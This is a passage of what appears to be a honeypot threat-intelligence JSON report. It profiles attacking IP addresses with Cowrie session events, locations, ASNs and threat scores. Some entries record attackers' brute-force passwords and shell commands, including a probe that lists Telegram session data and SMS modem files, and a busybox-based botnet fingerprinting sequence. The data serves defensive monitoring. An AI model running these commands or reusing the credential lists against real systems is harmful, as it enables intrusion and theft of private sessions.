        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:39:39.075000+00:00",
        "last_seen_30d": "2026-05-28T08:21:03.782000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 27
      }
    },
    "58.226.230.112": {
      "attack_count": 36,
      "first_seen": "2026-05-18T08:51:56.309Z",
      "last_seen": "2026-05-18T08:52:59.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:51:56.309000+00:00",
        "last_seen_30d": "2026-05-18T08:54:09.091000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "152.172.203.165": {
      "attack_count": 32,
      "first_seen": "2026-05-24T23:54:44.879Z",
      "last_seen": "2026-05-25T00:13:07.117Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Iquique",
      "asn": 7418,
      "as_org": "TELEFONICA CHILE S.A.",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:54:44.879000+00:00",
        "last_seen_30d": "2026-05-25T00:14:14.818000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 18
      }
    },
    "182.95.153.122": {
      "attack_count": 25,
      "first_seen": "2026-05-15T21:25:39.218Z",
      "last_seen": "2026-05-28T04:14:05.782Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zxcvbnm,"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:42:03.946000+00:00",
        "last_seen_30d": "2026-05-28T04:24:06.508000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 25
      }
    },
    "217.60.199.98": {
      "attack_count": 25,
      "first_seen": "2026-05-28T18:48:26.670Z",
      "last_seen": "2026-05-28T18:57:35.465Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209274,
      "as_org": "Kraken Network ISP LTD",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:48:26.670000+00:00",
        "last_seen_30d": "2026-05-28T18:58:40.251000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "192.3.150.58": {
      "attack_count": 24,
      "first_seen": "2026-05-14T09:31:53.410Z",
      "last_seen": "2026-05-31T20:51:00.704Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:31:53.410000+00:00",
        "last_seen_30d": "2026-05-31T20:52:01.243000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "223.19.13.114": {
      "attack_count": 22,
      "first_seen": "2026-05-28T22:27:06.059Z",
      "last_seen": "2026-05-28T22:27:10.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user"
      ],
      "passwords_attempted": [
        "7ujMko0vizxv",
        "user",
        "zsun1188"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox XHLUH",
        "cat /proc/mounts; /bin/busybox XHLUH",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XHLUH",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox XHLUH",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:27:06.059000+00:00",
        "last_seen_30d": "2026-05-28T22:28:20.134000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 2
      }
    },
    "165.154.10.165": {
      "attack_count": 20,
      "first_seen": "2026-05-28T06:02:43.321Z",
      "last_seen": "2026-05-28T06:04:55.464Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T08:43:48.570000+00:00",
        "last_seen_30d": "2026-05-28T06:05:59.851000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Cowrie": 20,
        "Honeytrap": 10
      }
    },
    "35.205.28.184": {
      "attack_count": 17,
      "first_seen": "2026-05-10T02:24:14.121Z",
      "last_seen": "2026-05-10T02:24:31.836Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:24:14.121000+00:00",
        "last_seen_30d": "2026-05-10T02:25:40.852000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11
      }
    },
    "45.142.193.212": {
      "attack_count": 15,
      "first_seen": "2026-05-09T02:04:48.503Z",
      "last_seen": "2026-05-12T14:41:24.417Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 383709,
        "days_active_30d": 6,
        "ports_targeted_30d": 66756,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-07T19:30:32+00:00",
        "last_seen_30d": "2026-05-12T18:12:07.297000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191947,
        "Honeytrap": 191660,
        "Dionaea": 33,
        "ConPot": 23,
        "Cowrie": 15,
        "Redishoneypot": 9,
        "Adbhoney": 6,
        "Dicompot": 6,
        "Medpot": 3,
        "Miniprint": 3,
        "Ciscoasa": 1,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "176.117.105.150": {
      "attack_count": 14,
      "first_seen": "2026-05-24T04:51:37.436Z",
      "last_seen": "2026-05-24T04:57:52.064Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 202561,
      "as_org": "High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:51:37.436000+00:00",
        "last_seen_30d": "2026-05-24T04:59:30.436000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "66.132.195.71": {
      "attack_count": 14,
      "first_seen": "2026-05-17T23:30:07.245Z",
      "last_seen": "2026-05-19T23:45:33.268Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 21,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T08:49:29.158000+00:00",
        "last_seen_30d": "2026-05-22T17:06:33.890000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 51,
        "Cowrie": 14,
        "Honeyaml": 3
      }
    },
    "178.32.156.208": {
      "attack_count": 12,
      "first_seen": "2026-05-08T06:53:58.345Z",
      "last_seen": "2026-05-08T08:05:19.598Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:53:58.345000+00:00",
        "last_seen_30d": "2026-05-08T08:06:23.142000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "45.9.148.50": {
      "attack_count": 11,
      "first_seen": "2026-05-04T09:50:54.985Z",
      "last_seen": "2026-05-04T09:51:05.722Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [
        "",
        "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1777888260304667478\n",
        "echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1777888260304667478\" | sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.size",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49447,
      "as_org": "Nice IT Services Group Inc.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:50:54.985000+00:00",
        "last_seen_30d": "2026-05-04T09:52:15.837000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 3
      }
    },
    "66.132.172.191": {
      "attack_count": 10,
      "first_seen": "2026-05-02T18:35:11.634Z",
      "last_seen": "2026-05-26T00:31:21.769Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 94.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T03:21:24+00:00",
        "last_seen_30d": "2026-05-31T14:48:44.170000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 190,
        "Honeytrap": 58,
        "Honeyaml": 14,
        "Cowrie": 10,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "45.10.175.77": {
      "attack_count": 9,
      "first_seen": "2026-05-30T14:12:55.759Z",
      "last_seen": "2026-05-30T14:15:29.113Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " "
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T14:12:55.759000+00:00",
        "last_seen_30d": "2026-05-30T14:16:38.106000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "167.250.37.1": {
      "attack_count": 8,
      "first_seen": "2026-05-24T00:08:32.312Z",
      "last_seen": "2026-05-24T00:16:38.108Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Santa Rita",
      "asn": 263717,
      "as_org": "SOL TELECOMUNICACIONES S.A.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:08:32.312000+00:00",
        "last_seen_30d": "2026-05-24T00:17:47.137000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "188.28.119.90": {
      "attack_count": 8,
      "first_seen": "2026-05-19T01:50:15.523Z",
      "last_seen": "2026-05-19T05:18:29.524Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Islington",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:50:15.523000+00:00",
        "last_seen_30d": "2026-05-19T05:19:38.892000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "62.50.145.59": {
      "attack_count": 8,
      "first_seen": "2026-05-13T19:15:40.840Z",
      "last_seen": "2026-05-13T19:16:05.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50049,
      "as_org": "RedSwitches",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:15:40.840000+00:00",
        "last_seen_30d": "2026-05-13T19:17:13.592000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "110.181.236.50": {
      "attack_count": 6,
      "first_seen": "2026-05-22T00:58:32.230Z",
      "last_seen": "2026-05-23T09:07:42.542Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:58:32.230000+00:00",
        "last_seen_30d": "2026-05-23T09:08:43.076000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "192.210.199.98": {
      "attack_count": 6,
      "first_seen": "2026-05-03T02:33:40.960Z",
      "last_seen": "2026-05-03T02:33:47.216Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:33:40.960000+00:00",
        "last_seen_30d": "2026-05-03T02:34:49.752000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "199.45.154.153": {
      "attack_count": 6,
      "first_seen": "2026-05-08T14:46:05.318Z",
      "last_seen": "2026-05-08T14:46:45.492Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 26,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-06T19:39:19+00:00",
        "last_seen_30d": "2026-05-31T11:51:56.254000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 18,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "209.141.48.193": {
      "attack_count": 6,
      "first_seen": "2026-05-10T13:50:26.921Z",
      "last_seen": "2026-05-10T13:50:32.128Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:50:26.921000+00:00",
        "last_seen_30d": "2026-05-10T13:51:32.531000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.198": {
      "attack_count": 6,
      "first_seen": "2026-05-16T02:40:19.381Z",
      "last_seen": "2026-05-16T02:40:54.139Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:42:37+00:00",
        "last_seen_30d": "2026-05-30T07:15:33.274000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 31,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Tanner": 4,
        "ConPot": 1
      }
    },
    "128.14.237.154": {
      "attack_count": 5,
      "first_seen": "2026-05-29T11:26:13.589Z",
      "last_seen": "2026-05-29T11:26:15.887Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Q1w2e3r4!@#$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:26:13.589000+00:00",
        "last_seen_30d": "2026-05-29T11:27:22.403000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
